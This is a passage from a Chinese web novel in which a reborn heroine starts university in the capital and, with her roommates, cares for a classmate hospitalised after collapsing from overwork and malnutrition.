“你不要有太多顾虑,更不必觉得会麻烦到我们,就算不提德叔的关系,我相信你也看得出来,我们全家都很喜欢你。而且相比什么麻烦不麻烦,我觉得远在凤城的叔叔、婶婶一定更乐见你有我们这些依靠,对吗?” 不得不说,真诚是永远的必杀技。 沈瑞说这话时的样子格外认真,就像一个即将远行的哥哥临别前对自家妹妹殷殷叮嘱。 说不感动是假的。 于是,苏丽珍也郑重回应道:“谢谢你,沈大哥,我记下了。如果我在这边真的遇到无法解决的问题,我会想着来寻求你们帮助的。” 沈瑞心中喟叹。他听出苏丽珍话里的保留,知道大概不到万不得已,她是不会来找他的。 不过这也是他一早就料到的,她的内心始终藏着很多秘密,而她用来包裹秘密的“心墙”也总是那么坚韧,很难被击倒。 当然,对于朋友来说也很难勘破。 但这些都不妨碍她是一个真正坚强果敢的女孩。 这一点,他从很早就知道的。 两人分别后,苏丽珍一直看着沈瑞的背影远去才进了院子。 她不知道的是,在她回去后,某个人又去而复返,重新站在门口那棵高大的银杏树下,久久注视着那两扇紧闭的门扉。 第175章 军训过后,苏丽珍开启了忙碌而又愉快的校园生活。 能重活一次,她很珍惜如今的学习机会。 加上身处学风浓厚、人才辈出的首都大学,她也再次意识到自身的许多不足之处,越发想要多学、多看,就像一块干瘪的海绵,迫切希望沉浸在知识的海洋里,努力吸收水分,让自己充实起来。 当然她也明白贪多不烂的道理,所以经过一番考虑,除了本专业的经济学相关外,她侧重选修了管理方面的课程。 经济和管理不分家,两者之间关联性较大,而且二者相辅,学以致用,确实更符合苏丽珍未来的规划。 同时,因为英语口语不错,她还受邀加入了系里的英语社团,跟着社团里的学长学姐们一起组织参与了几次锻炼口语的活动,也是受益匪浅。 等到周末的时候,她就会回到兴华胡同的家里。 凤城老家那边除了每周必要的通话外,月底的时候,食品公司、建筑公司和养殖场都会把各自当月的财务、销售、出入库情况,以及下个月各部门的计划分别整理成册,给她邮寄过来,供她审核。 苏丽珍这边呢,在处理公司公务的同时,也会将收集到的一些涉及专业技术和管理相关的资料给凤城邮回去,供大家学习参考。 同时,首都毕竟是全国的政治经济中心,在这边也能更好地了解和分析到一些政策指向和经济动向。她也会定期根据自己观察、收集的信息,跟苏振东他们通信探讨。 假期时,她偶尔还会和谢芳芳见面。两个人相约一起逛街、吃小吃,开开心心玩上个小半天,也算是放松心情。 不过平时不管是在学校、还是在家里,她只要一有空就会给凤城的亲人朋友们写信,同一些高中时的同学也都保持着联系。 值得一提的是,她在继上次去沈家后的大半个月时间里陆续收到过两封齐秀婷的来信。 信上写的大多是对方的一些日常小事,其中也夹杂着一些烦恼。比如跟室友因为琐碎小事闹了不愉快;借给同社团的学姐参加文艺汇演的裙子还回来时却蹭上了洗不掉的污渍等等。 她没想到上辈子对外精明强干、对内温柔内敛,几乎人人夸赞的齐秀婷学生时代原来也有这么多的小烦恼,一如这世间许许多多单纯青涩的女孩们一样。 总之,还挺可爱的。 苏丽珍看着对方的来信思量许久,到底没有选择直接开解或者安慰对方。 尽管对前世齐秀婷的了解不多,但她能感觉到,对方是一个内心强大、极其有主见且格外骄傲的姑娘。也许比起别人的宽慰,对方只是单纯地需要一个倾听者。 所以她给对方的回信上,同样也诉说了自己这边的日常琐碎小事和需要面对的烦恼。 比如身边的同学们太过用功,她在这种气氛带动下平时一刻也不敢放松,只觉压力甚大;还有因为自己“小心眼”,不想别人常来坐自己的床,所以入学时特意选了上铺,没想到寝室的铁架子床动辄总会发出声音,弄得她平时上下床时都特别小心,有时候早上醒了怕吵到下铺的同学也不敢早起云云。 这里面当然有夸张的成分,但大体上还是实话居多。 这个世上没有完美的人和完美的事,有缺憾才显得真实。 她想,比起那些空泛的开解,也许将自己同所有人一样有缺点的、真实的一面展现给齐秀婷,更能叫对方感受到真诚与亲切。 她想得没错,齐秀婷之后的回信里态度果然愈发亲近,似乎把苏丽珍当做闺蜜一般分享自己的一些“诀窍”。尤其知道苏丽珍为学习苦恼,还主动提出要把一些外语资料寄给她。 看t着信上字里行间流露出的慧黠灵动,这才是她记忆里的齐秀婷。 这样忙碌又充实的日子过得飞快,一晃就过了一个多月。 十月中旬的某一天,凌晨四点,当212寝室的大多数人还沉浸在梦乡的时候,屋内骤然暴发出一声巨响,立时把所有人都惊醒了。 苏丽珍猛然睁开眼睛,一瞬间还以为回到了上辈子流落街头时误入黑/帮火并的场景!直到触目所及是一片灰蒙蒙,几乎看不清的房顶,这才反应过来是在寝室里。 “出事了!” 她脑海里瞬间升起这个念头,整个人也彻底清醒,赶忙一把掀开床上围挡的帘子,探头向外看去。 与此同时,斜对面下铺的万美君也惊叫出声:“妈呀!有人!” 苏丽珍心里一紧,以为是什么人闯进来了。 可这会儿屋里还很暗,她只能影影绰绰看见万美君床前的地上似乎躺了一个人。 好在大家反应都很快,几把手电同时亮起,瞬间把昏暗的屋子照得亮如白昼。 几人一下就认出躺在地上的人居然是吕新芳! “是芳姐!” “芳姐,你怎么了!” 同在下铺、离得近的人已经冲了过去,苏丽珍也以最快的速度爬下床。 到了近前,只见吕新芳一动不动地躺在地上,任凭大家怎么叫也没有反应。 管明月把手伸进她脖子后面,想试着先将人扶起来。 哪想这一上手,感觉不对,连忙抽了出来,就着手电筒的光一照,却见管明月那只手上赫然沾满了鲜血。 众人吓得险些惊叫出声。 苏丽珍飞快瞄了眼对面的柜子,果然见柜子边角处血迹斑斑,不由脸色难看道:“芳姐可能是下床的时候摔下来,脑后撞到了柜子。” 这伤势恐怕不轻! 到底是管明月胆子最大,一咬牙,小心地将吕新芳慢慢半抱起来,果然在她后脑右侧接近耳朵的位置发现了一道汩汩流血的大口子! 之前吕新芳躺在那里,齐脖根的短发散成一片,所以谁也没注意,这一挪开才发现她原来躺下的地面上居然已经流出了一小摊血。 此时的吕新芳双目紧闭,面如金纸,血迹浸透了她后脑勺的头发、右耳和右侧脖颈处,狭小的室内弥漫出浓郁的血腥味,这场景要多吓人就有多吓人。 胆小的万美君和刘思彤眼圈都红了。 尽管慌乱,可谁都知道不能任凭吕新芳一直这样流血,大家勉强找出干净的手帕按在吕新芳的伤口处。 她们必须立刻把人送去医院。 学校里原本有校医,但是只能处理一下简单的小伤小病,吕新芳的伤势这么重,这边肯定处理不了。 几个女生里,管明月力气最大,由她负责背人。 还得有一个人帮着一路按伤口。苏丽珍看了眼准备要跟着去的陈红梅,见她这会儿面色苍白,想起对方这两天是生理期,忙按住她,主动接过了这项任务。 因为着急,两人也来不及换衣服,只匆匆在睡衣外加了一件外套,苏丽珍又拿起枕头底下的钱包就赶忙出发了。 她们到了楼下,将宿管老师叫醒,帮她们开门。 宿管老师很负责任,见着这个情况,当即陪着她们一路到校门口,之后又请校门口巡逻的保安之一陪同她们一起去医院。 离首都大学最近的医院步行不到十分钟,一行人顺利进入医院,陪着医生护士一起将吕新芳送入处置室。 等了约莫四十分钟,人就出来了。 处理伤口的医生告诉她们,说是吕新芳的伤势不轻,后脑勺直接缝了十五针。因为是伤在头部,所以还需要进一步观察,最好等病人醒过来再做一个全面的检查,建议她们先办理住院手续。 这跟苏丽珍预计的差不多,当即就帮吕新芳办理了住院。 她和管明月刚把还在昏迷中的吕新芳送入病房,陈红梅、刘思彤和万美君就赶过来了。 来时她们也担心吕新芳这次在医院待得时间恐怕不会短,所以三人先把她在寝室的一些衣物和生活用品直接带来了。要是用不上再拿回去就是,反正她们人多也不费事。事实上,大家私心里倒是情愿白费这个事。 但是这边的情况显然不如她们期望的。 吕新芳到现在还没有醒过来。之前在处置室护士抽血化验的结果也出来了,吕新芳有严重的营养不良,还有中度的贫血。 这个身体情况对于她的伤势很不利。 几个女生围在吕新芳的病床前愁眉不展。 刘思彤和万美君一直在悄悄抹眼泪。 那位一直陪着她们的保安叔叔见状不由安慰了大家几句。 早上六点半,刘导员也闻讯赶来了。 刘导员负责带经济学专业和金融系专业两个班,所以吕新芳也是他负责的学生。 有他过来,一直陪着她们几个的保安叔叔才回去。 刘导员看过吕新芳后,先去找吕新芳的主治医生了解了情况。之后见苏丽珍几个面色惶惶,忙不迭温声安抚大家,又表扬她们几人大胆心细,遇事沉稳。 等几个女生情绪缓和一些后,他才问起今早的具体情况。 其实具体情况,苏丽珍几个也不清楚。只是根据当时吕新芳摔倒的情形以及柜角上沾染的血迹,推测她应该是今早下床的时候不慎从梯子上摔下来,后脑勺刮到了柜子上造成的昏迷。 医生也说了,看吕新芳的伤势,当时应该是被柜角斜着刮了过去,如果位置再偏一点的话,那真是性命都可能不保。 就算是如今这样,吕新芳不醒过来,他们也没法判断她的大脑有没有受到进一步伤害。 这一点,刘导员刚刚也已经跟医生了解过了,他看着病床上一直昏迷不醒的学生,心情也很沉重。 就在这时,陈红梅犹豫着从衣兜里掏出两张单据递给了刘导员。 “导员,这是我们之前替吕新芳收拾东西时,不小心从她柜子里带出来的。” 刘导员接过那两张单据一看,面色越发沉重起来。 其他人不知道怎么回事,都看向陈红梅。 陈红梅低声解释了几句,众人听完也都跟着难受起来。 原来这两张单据是两份汇款回执单,上面显示两笔汇款的收款人都是吕新芳的老家。 第一笔汇款在九月初,金额是21元;第二笔在十月初,32元。 只看着这两笔汇款,大家就明白了,吕新芳应该是把学校发放的补助金一分没留,全部寄回了老家。 而十月初的第二笔之所以多了11块钱是因为九月份的时候,吕新芳在学校附近一家私人饭馆找了一份钟点工的工作。 这份工作很辛苦,吕新芳每天上午下课后,饭都来不及吃就得过去帮忙,直到下午课开始才急匆匆赶回来;下午下课后又要再过去,一气儿做到晚上七点半才能回来。 回来后,她又要去大教室打扫卫生。这是学校“勤工俭学”的补贴政策,家庭困难的学生通过学校审核后,可以通过打扫大教室、图书馆等公共区域卫生来获取学校补贴,补贴方式是每人每月三块钱的饭票。 吕新芳每天打扫完自己负责的公共区域后,回到寝室已经九点多了,基本就是熄灯的时间。 她白天的时间基本都排满了,就算是周六、周日也没有多少空闲,几乎没有学习的时间。吕新芳没办法,只好每天凌晨四点起床,拿上书本到走廊里学习。 一开始大家还不知道,后来管明月有一次起床上厕所,这才知道她原来每天都起那么早。 寝室里的人见她每天那么忙,又要早早起床看书,都劝她要注意身体。 可吕新芳去做钟点工是为了补贴家里,起早看书是为了学习,大家也不好多劝。加上她虽然见天忙碌,但无论什么时候都是乐呵呵的,看上去心态很好,所以大家下意识就以为她能协调好这一切,之后也就不再多说了。 现在看来,她哪里是协调好了,分明是用自己的身体硬抗。 还有平时吕新芳也很少和她们一起吃饭,因为她几乎一下课就往干活的小饭馆跑。她们只知道她每天早上固定打一个二两的杂粮馒头,学校里很多学生都这样吃,所以她们也没在意。 现在想想,吕新芳把手头上的钱几乎都寄回了家里,就靠勤工俭学那三块钱的饭票,恐怕每顿饭都是随意对付过去的。 要不然也不会检查出严重的营养不良和中度贫血了。 这样每天起早贪黑地忙,又要工作、又要学习,吃得t也不好,身体怎么可能受得了? 所以她们只看到那两张汇款回执,就什么都明白了。 今天早上恐怕并不是意外,大约是吕新芳的身体已经出现了问题,体力不支,这才直接从床上摔了下来。 第176章 管明月作为寝室代表,将大家知道的情况都告诉了刘导员。 等她声音低落地说完后,屋子里也变得格外安静。 接着就是一声长长的叹息,众人下意识闻声望去,却是隔壁病床一对老大爷和老大娘。 老两口见他们望过来,还有些不好意思。 “我们不是故意听的……实在是这闺女太可怜了,连我们这路人听了心里都怪不落忍的!” 众人闻言心里越发难受。 还是刘导员打起精神宽慰大家:“吕新芳同学是个坚强的姑娘,我们要相信她一定会渡过这次难关。” 因为刘导员待会儿还有课,所以没法多待儿, 临走时,他主动将苏丽珍垫付的十块钱住院费还给了她,怕费用不够,又多留了十块钱。 “我回去就跟系里反应吕新芳同学的情况,估计学校会承担一部分医药费,剩下的就由我先垫上。” 他示意苏丽珍不必多说,态度坚决道:“老师理解你们的心意,但你们还是学生,这样的事就不要跟我争了。” 说罢,他又交待几个女生:“我想了想,暂时还是不要把吕新芳同学的情况通知她家里,等这边有了一定说法,最好能先征求到吕新芳本人的同意,我们再联系她家里。所以今天恐怕要麻烦你们几位同学留下,继续帮忙照看了。” 几个女生都点了点头。 她们都明白刘导员的意思,吕新芳的家里既然需要她这样拼尽全力地帮扶,想必那个家庭本身也是十分困难的。如果吕新芳能早点醒过来,之后又确定没什么大事,那他们就可以暂时不通知对方,也省得给那本就艰难的家庭雪上加霜。 最关键的是,这个想法肯定也更符合吕新芳自己的意愿,所以大家都想等一等,说不定吕新芳真的没什么事呢? 刘导员离开后,剩下的几人商量了一下,今天上午由苏丽珍和管明月留下,下午换万美君和刘思彤。 每人半天,这样至多耽误半天课。 陈红梅生理期,身体本就不太舒服,今早这么一折腾,脸色更不好了,所以大家都不同意她留下。 送走了一步三回头的室友后,苏丽珍看了一下表,已经七点半了,两人还没来得及吃早餐,管明月的肚子已经饿得震天响了。 苏丽珍忙去厕所换了身衣服,然后拎着装衣服的包就直接下楼买早餐。 今天早上情况太急,她和管明月都穿着一身睡衣出来的,幸亏陈红梅心细,给吕新芳收拾东西的时候,不忘把她俩的衣服也带了过来。 医院的食堂也提供早餐,但是听病房里那对老大爷和老大娘说味道实在一言难尽,价格也比外头稍贵,不过有个好处,就是买汤汤水水的东西可以交押金借用饭盒。 所以苏丽珍先到食堂交押金,要了一饭盒豆腐脑;又在医院门口的小吃摊上买了十个肉包子和五个茶叶蛋,让摊主用一大张牛皮纸小心包好,塞进带来的布包里,把包包塞得满满登登。 她估摸着八个包子、四个茶叶蛋应该够管明月吃了,这才回返。 匆匆上楼时,突然有个打扮得很时髦的年轻姑娘喊住她:“这位妹妹,请问你身上这包是在哪儿买的?” 苏丽珍闻言,下意识看向自己肩上挎着的布包。 这布包是吕新芳的,是一个用多种颜色的布头拼接而成的拼布包,样式新颖好看,关键还是她自己做的。 吕新芳审美眼光很好,手艺也十分灵巧,所以尽管这些拼接的布头都只是时下最常见的黑、白、土黄、深蓝等不起眼的颜色,但因为被裁剪成各种不规则的形状,又经过精心搭配后,最终呈现的效果反而极具个性和美感,一眼看上去既时髦、又大气。 时下女性的包包大多是布制的,最常见的就是各种帆布包,只有很少一部分人用皮包。而且不管是布包、还是皮包,出于实用角度,包包的样式普遍都比较简单,颜色也很单一,几乎没什么装饰。 在这种背景下,吕新芳自制的这款充满个性化的拼布包就显得格外与众不同。 所以遇到这种半路被人拦住打听的情况,她一点也不意外。 想当初刚开学的时候,寝室里的人都被吕新芳的这个包包迷倒了。等关系亲近以后,陈红梅、万美君她们都跟她借过这包臭美。 她记得是前天晚上,还听见万美君跟吕新芳撒娇,想周末借她这个包去见老同学。结果后者大方地直接把包拿给她,压根没让等到周末。 刚刚换衣服的时候没注意,估计是早上忙乱之下,被陈红梅她们临时拿来装她和管明月的衣服了。 再想到如今还躺在病床上的包的主人,苏丽珍心情不免越发低落。 她强打起精神,跟对方解释了一句,这布包是她朋友自己做的,并不是买来的。 那姑娘听完,脸上不禁浮现失望的神色:“我就说嘛,我去过好多店,从来没见过这种样式的包……” “这包太好看了,你朋友真是厉害!” 说者无心,苏丽珍却是听得心里一动。 回去的路上,她时不时低头看几眼手里的包,脸上也露出若有所思的神情。 一上午的时间飞逝而过,就在苏丽珍和管明月忍不住等得心焦的时候,吕新芳终于醒了。 她一清醒过来,几乎来不及说一句话就觉得天旋地转,伴随的还有恶心想吐的症状,把苏丽珍和管明月吓得够呛。 管明月更是直接飞奔出去到办公室找医生。 几个医生一起过来给吕新芳做了一次会诊,再确定没有其他症状后,确诊她是轻微脑震荡,需要好好修养一段时间。 虽然遭了不少罪,但幸运的是,目前总体问题不大。 这个结果可算让所有人都松了口气。 等护士过来给吕新芳挂上点滴后,她渐渐也没那么难受了,只是还是不能动,一动就头晕目眩。 苏丽珍和管明月商量了一下,趁她现在还有点精神,便征询她的意见,看要不要通知家里人。 谁知吕新芳一听说要通知家里人,整个人一下急的不行,险些要从床上挣扎着起来,幸亏管明月眼疾手快把她按住了。 饶是这样,她还是整张脸白得吓人。 苏丽珍赶忙道:“芳姐,你先别着急。只要能确定你没什么大问题,我们肯定不会通知你家里的。” 吕新芳强挺着道:“我没事,我从小身体就好,肯定没问题的。” 苏丽珍和管明月对视一眼,怕她着急,只好顺着她安慰了几句。 吕新芳确定她们不会通知家里后,这才安心,重新闭目休息,一会儿就又睡着了。 苏丽珍不放心,又去找了趟医生。 医生叫她不用担心,吕新芳睡着主要是药物的作用。 而且她除了严重的营养不良,还存在疲劳过度的问题,所以现在多睡不但对她的伤势恢复有好处,也能缓解身体的疲乏。 苏丽珍放下心来,等她再次回到病房时,陈红梅她们已经过来了。 一起来的还有吕新芳和陈红梅所在的金融专业班上的几个学生,上午听说了吕新芳的事后,由班长牵头,放学后特地过来看望她。 知道吕新芳中途醒过一次,医生也说没什么大问题后,大家都跟着松了口气。 因为怕吵醒吕新芳,大伙儿都自觉到走廊上说话。 其中金融班的班长姓郭,是一个高高瘦瘦、戴眼镜的男生,跟管明月挺熟的。 他从衣兜里掏出一个纸包,里面是他们班二十二个人凑的二十五块钱,他直接交给了管明月,让她等吕新芳醒后交给对方。 管明月犹豫了一下,还是接过了钱。但她只答应会代为转交,至于吕新芳那里会不会收下,就不是她能说的算了。 郭班长他们临走前还主动打听了她们如何排班照顾吕新芳,叫管明月顺道把他们这几人也排进去,大家轮流过来帮忙。 虽然郭班长几人的态度很真诚,应t该是真心想来帮忙,但管明月想着自己寝室五个人足够了,本来正要张口拒绝,却见苏丽珍朝她极轻微地摇了下头,她心里一动,再开口时就从拒绝变成了接受。 等郭班长几人走后,苏丽珍才向舍友们解释。 她之所以没让管明月拒绝郭班长他们,是因为她想到吕新芳毕竟是金融班的,大家同学一场,有时候是需要共同经历一些事,感情才会越来越好。 尤其吕新芳自打开学以后,因为要顾着做工干活,每天的时间都挤得满满的,甚至连跟同学一起吃顿午饭的时间都赶不上。 时下还是比较看重“集体感”的。不管出于什么原因,总是落单就会显得没有集体感,这对吕新芳的评价很不利。 所以利用这次的机会,一来能让金融班的人进一步了解吕新芳的难处,今后不说有什么事都想着她,起码不会在印象里把她当成一个不合群、或者一心只想着挣钱的人; 再者,通过照顾病患,大家也能多一点跟吕新芳相处的时间。她相信以吕新芳的脾气秉性一定很容易交到朋友。 虽说作为吕新芳的室友,她们会一直支持她、帮助她,但是吕新芳的日子实在太难了,这种情况,说不定多一个朋友就多一条路。 就算这个想法过于功利,但身边能多一个能说得上话的人,自然也就少了一个心怀偏见的人,这样也不亏。 听完苏丽珍的话,管明月几人一脸叹服,都道她是完完全全替吕新芳考虑,这份妥帖实在无人能比。 下午是万美君和刘思彤来换班,她们中午过来时特地给苏丽珍和管明月带了午饭。 两人吃完饭后,一直待到快临近上课时间才离开。 不过今天下午她们只有一节大课,下午三点多就能下课。 所以下课后,两人又匆匆赶去了医院。 正好这会儿刘导员也在,他带来了一个好消息。 在他把吕新芳受伤的事反映给学校后,学校非常重视,同时校领导们也很同情她的个人情况。所以校长直接批示,这次学校会全部承担吕新芳的医疗费用。 另外,为了让吕新芳尽快养好身体,在她住院期间,学校还会每天额外补贴她一块钱的营养补助。 等吕新芳再次醒来,状态稍好一些,知道了自己从出事到昏迷的大半天时间里发生的一切后,又是感激、又是惭愧。 她自觉因为自己的疏忽大意,却给室友、同学和导员添了这么多麻烦,实在羞愧难当。 刘导员便开导她,让她不要多想,眼下只安心养病,好早日返回学校,这样才是对关心她的人最好的回报。 好在吕新芳一向是个开朗大气的性子,她把刘导员的话听了进去,知道眼下尽快养好身体才是关键,是以之后的日子里都尽量放松心态,努力配合医生,力求能早日康复。 一晃儿又是五天。 这天是礼拜天,因为吕新芳的事,苏丽珍这个周末就没有回兴华胡同。 结束了上午的陪护时间,她在学校食堂简单对付了一口,就回到了寝室。 一推开寝室门,意外地发现这会儿寝室的大伙儿居然都在。 这两天吕新芳恢复得不错,头晕的症状缓解了许多,人也能在走廊里来回溜达几圈了。 所以在她的极力要求下,平时负责陪护的人也减至一人。 她们寝室五个人,加上金融班那边也正好五个人,这样排班下来,就赶上今天寝室里的人都得了空,这会儿可不就凑齐了。 只是苏丽珍一进屋,就见原本躺在床上不知道想什么的管明月突然一个激灵,猛地从床上跳起来,然后重重咳嗽了一声,扯着大嗓门道:“哎呦,六儿回来了!”。 这一嗓子就像一个信号,直接触发了寝室里其他人的连锁反应。 只见刘思彤和万美君一左一右扶住她的胳膊,一边把她往摆在寝室正中间的凳子上按,一边热情道:“小六回来了,赶快来坐!” 接着陈红梅又给她递上来一个搪瓷缸:“六啊,渴了吧,赶紧喝点水!” “不冷不热,温白开,刚好入口!” 苏丽珍直接被塞了一缸子所谓的温白开,整个人还有点转不过来弯儿,管明月又凑到她身后:“来、来,咱们六儿辛苦,我来给你按按筋骨!” “我跟你们说,我这手艺可是从我姥姥那儿学来的!一手下去,那保证让你浑身舒坦,疲惫全消,人送外号‘管一手’!” 苏丽珍:“……” 她心里一阵无语,就管明月那个手劲儿,管不管一手,她不知道,但今天要真让她给自己按了,她明天说不定又能多个外号叫“管一程”。 苏丽珍可不想让她这“一手”直接把自己送走了,忙不迭反手把她按住,又把搪瓷缸子塞回陈红梅手里,一脸狐疑地看着几人。 “你们是又发愁什么事了?” 第177章 几个女孩互相看看,然后就齐齐朝着她露出尴尬又讨好的笑容。 还是管明月打头:“还得是咱家六啊,那真是算无遗策,啥也瞒不过你!” 陈红梅:“小六多聪明啊,就没有搞不定的事,是咱寝当之无愧的顶梁柱!” 刘思彤和万美君:“对对对!顶梁柱!” 苏丽珍抹了把脸,这“顶梁柱”都出来了,看来这事情还不小。 她强忍着不对她们四个这副怪样发表评价,只一脸淡定地问道:“说说吧,到底什么事,看看我能不能帮上忙。” 苏丽珍本不是大包大揽的性格,实在是自打开学这两个月,跟几个室友关系融洽,所以有时候看到她们遇到烦心事,就忍不住多嘴帮着出点小主意。没想到运气好,每次都能起点作用,搞得现在整个寝室的人对她“迷信”的很,遇事就喜欢找她商量。 管明月更是直接把她封为212寝室的“军师”,主打一个,遇事不决找“军师”。 这种情况,苏丽珍能怎么办? 只能是自己的室友,自己惯呗? 不过,当她余光瞥见右侧上铺那空空的位置时,心里倒是对室友们的心事有了点猜测。 正好,关于这件事,她还真有点想法。 然而就在她心思流转间,几个室友讪讪一笑,然后就竹筒倒豆子似的什么都“交代”了。 管明月期期艾艾地开口:“珍珍,就是芳姐做事的那家小饭馆,上次不是我和红梅姐去了一趟,帮忙给芳姐请假嘛?那啥,其实那次我们俩回来说谎了。” 陈红梅也垂头丧气道:“对,我们说慌了,那家小饭馆压根没有答应给芳姐假!是我和明月担心回来实话实说,怕芳姐知道丢了这份工作会着急上火,所以故意撒了谎。” 苏丽珍有些诧异,这还真跟她的猜测有些出入。 不过要是说这件事,那她心里其实并不感到吃惊。 这时,万美君也赶忙给两人说好话:“小六,这事其实也不能全怪红梅姐和明月,她们也是尽了力的。” 原来,三天前,管明月和陈红梅主动替吕新芳去了一趟那家小饭馆,主要是向对方解释吕新芳的情况,并不是故意旷工,顺便再替她请一段时间假。 那小饭馆的老板夫妻俩,人倒也不错,听说吕新芳出事了,猜到她等钱用,当时就主动把吕新芳的工资都结清了,还额外多给了两块钱。 只是当管明月她们提出要替吕新芳多请几天假时,对方却直接一口回绝了。 人家也不是不近人情,主要是那店里生意特别好,人手属实不够用!一天、两天人家就坚持了,可一听说吕新芳这边最少一周打底,人家实在等不起。 管明月和陈红梅没办法,两人商量了下,干脆找老板夫妻提出愿意接替吕新芳到店里干几天活,老板可以把她们两人算成一份工,到时候直接算给吕新芳就成。 老板夫妻架不住她俩磨,虽说看她们俩穿着打扮不像能干活的人,但想到管明月长得高大结实,陈红梅也是辰红齿白,瞧着身体很好,合计怎么也能做点事,而且人家两个人才要一份工资,最终就答应了。 然后两人当天下午就直接留下开始做事。 结果事实证明,就算是简单的事,你光靠脑子里预想千百遍都比不上实际动手操练一次。 管明月和陈红梅家境优越,又都是家里老幺,加上能考上首都大学,打小就都是让t人羡慕的“别人家孩子”,所以平时在家根本没做过多少家务活。 现在到了人家后厨里,一上手可不就“露了馅”。 要是时间充裕,能慢慢来也成。偏偏人家饭点正是生意最忙碌的时候,人人恨不能长出八只手,哪里能允许她俩慢悠悠做事? 所以两人一着急,越发出了许多错。 管明月把人家大厨急等下锅的绿叶菜洗的稀烂;陈红梅打了人家一个盘子,还被厨房湿滑的地面闪了一下,差点踢翻了一起干活的人放在旁边洗好的一大盆碗盘,把人吓得嗷一嗓子,又险些惊吓到前面吃饭的客人。 总之,一阵兵荒马乱过后,她们俩直接被老板请出了后厨。 人家老板当时就说了,她们俩不是干活的人,直叫她们回去。 不过经过这一遭,那老板夫妻俩到底还是心软了,表示愿意等吕新芳三天,这也是他们饭店的极限。要是三天之后,吕新芳还来不了,那他们就必须找新人了。 管明月和陈红梅只能失落而归。 那天她们回寝室的时候,刚好苏丽珍在医院,所以没碰上。万美君和刘思彤看她俩一身狼狈地回来,还以为她们跟人饭店老板打起来了。 而今天就是三天期限的最后一天了。 管明月这时候眼巴巴地看着苏丽珍:“珍珍,我们也不是故意瞒着你的。实在是当时在芳姐面前撒了谎,那时你不正好也在吗?还夸我俩事办得好,我俩后来就干脆连你也不敢说了。” 她很少露出这种怂怂的表情,苏丽珍看得心里直乐,故意板起脸,假装不高兴道:“你们之前瞒着我,现在又说这种话,那依你的意思,这还是我的错了?我那天就不该夸你们,是不是?” 管明月吓一跳,慌忙摆手:“不是、不是!六啊,你可千万别误会,我绝对没有那个意思!” “我是后悔,后悔该早点跟你坦白才对!咱们寝室就属你脑瓜子最灵光,这事当初要是你来办,说不定能是另一个结果!” 陈红梅也说:“是啊,小六,你别生气!我们主要也是想着看看能不能找个机会弥补一下,毕竟是我们俩惹出的事……现在想想,我们没有这个金光钻,是不该揽这瓷器活啊!” 万美君和刘思彤也凑上来,一左一右拉着她的手,给两人求情:“小六,你别生她们气。我们能作证,她们就是不知道该怎么跟你和芳姐说,也不是有意要瞒着你。” “噗嗤!”看她们紧张的样子,苏丽珍再绷不住,忍不住笑出了声。 几人愣了一瞬,很快都反应过来,她压根没生气,之前都是假装的! “好你个小六,居然敢骗我们!” “坏小六,看我今天怎么收拾你!” 几人也不客气,立时撸胳膊、挽袖子,恶狠狠扑上去挠她的痒。 苏丽珍被挠了一顿,笑得腰都直不起来了,这下才老实。 她拍拍万美君和刘思彤,又拉了拉管明月和陈红梅的手,笑着安抚两人:“你们不要想太多,其实这件事芳姐早就猜到了。” 苏丽珍说起那天吕新芳的原话。 “老板不会答应一直让我请假的。当初我去应聘的时候,人家就跟我讲好了,不能随意请假,就算要辞职也必须提前两天打招呼。而且我毕竟在那里干了一个多月,自然知道他们饭点有多忙。说真的,就算是我在店里,平时人手都是紧紧巴巴,如果我不能按时上工,人家肯定是要马上招人的。” 只是吕新芳知道管明月和陈红梅是怕自己难过,所以才没有说实话。而她也很珍惜室友在意自己的这份心情,所以就顺势装作相信了她们的话。 听完苏丽珍的话,几个女孩面面相觑。 管明月和陈红梅松了一口气的同时,还有些失落。 管明月说道:“是我们太想当然了,现在还要反过来让芳姐顾虑我们的心情,真是没用!”边说,边重重敲了敲自己的脑袋。 苏丽珍赶忙拉住她的手:“你可别这么想!这事其实换个角度看,还不都是因为我们姐妹几个彼此爱护,谁都不想看谁着急上火,所以就冲着咱们之间这份情谊,你也应该高兴才是!” 管明月和陈红梅想想也是,忍不住跟大家相视一笑。 其实苏丽珍的话也说到了大家的心坎里。 开学两个月的时间,就她们知道的,周边几个寝室都有拌嘴或冷战的情况出现。有时候一个寝室里还要拉帮结伙,分成好几派。 但她们寝室六个人从来没红过脸。 虽然大家都或多或少有些缺点,可遇事总能相互包容、相互理解,更会努力站在对方的角度看待问题。 就说今天这事,管明月和陈红梅为了能帮吕新芳保住这份工作,居然愿意免费去帮工,只这份心意就叫苏丽珍动容。 此刻,大家心里都有一个感觉,就是经历过这次吕新芳出事,她们212寝室六姐妹的感情会越来越好。 几个女孩子为这份温暖的友谊傻笑了一会儿。 就在这时,万美君忽然想起来道:“可是芳姐的这份工作到底还是保不住了!怎么办啊?芳姐嘴上不说,心里恐怕还是会着急的吧?” 大家翘起的唇角又慢慢抿直了。 她们之前就从吕新芳那里听说过,当初她能应聘到这份工作也很不容易。 这话说起来,起初寝室里除了苏丽珍以外的所有人都特别震惊。 一份在后厨洗完打杂的临时工而已,怎么也要靠抢的吗? 而事实就是如此。 先不说眼下各大城市里有多少待业青年,自改开后,人们出行也不再像从前那样受限制,动辄没有介绍信连门都出不了。 时下已经有一部分有胆色的农村人选择背井离乡,开始到城市里闯荡。 这些人能吃苦,做事舍得下力,对于一些没有技术要求的工作,反而比城里人更有优势。 所以像在后厨打杂这样的工作,看似没有什么门槛,其实却是眼下相当一部分人的选择。 而选择的人多了,可不竞争就来了? 吕新芳当初就感慨,那会儿去应聘的时候,光是她亲眼看见的,前前后后就有四、五个人来问了。 如果不是她当机立断,主动跟老板提出可以不要店里中午和晚上供应的两顿饭,她也不会这么快就抢到这份工作。 也正是因为知道现在工作不好找,所以这次管明月和陈红梅才费了这么多心思想帮吕新芳保住这份工作。 管明月皱着眉头道:“实在不行,我下午回去再让我爸妈他们出去问问,看谁家请家教。” 这确实是个办法。 而且做家教也是最适合他们大学生的工作了。 只是现在日子才刚好起来几年,舍得花钱专门给孩子请家教的人家并不多,就算有也都是拜托熟人牵线。 像他们学校的老师就会收到这样的委托,帮人在校内找合适的学生去做家教。 老师们自觉受人托付,必定会寻找在他们眼中品学兼优的人,所以一般这些名额都是给大二或大三的学姐、学长们。像她们这样刚入学的新生,除非确实特别优秀,否则老师们都会多观察一段时间的。 管明月虽然这样说,但是大家基本也不抱什么希望。因为她们都记得,上个月她就回家让她父母专门为这事打听过,当时也没什么收获。 这种事纯看运气,都是要慢慢碰的,所以谁也说不好肯定能成。 屋里一时陷入沉默,几个女孩子都有些发愁。 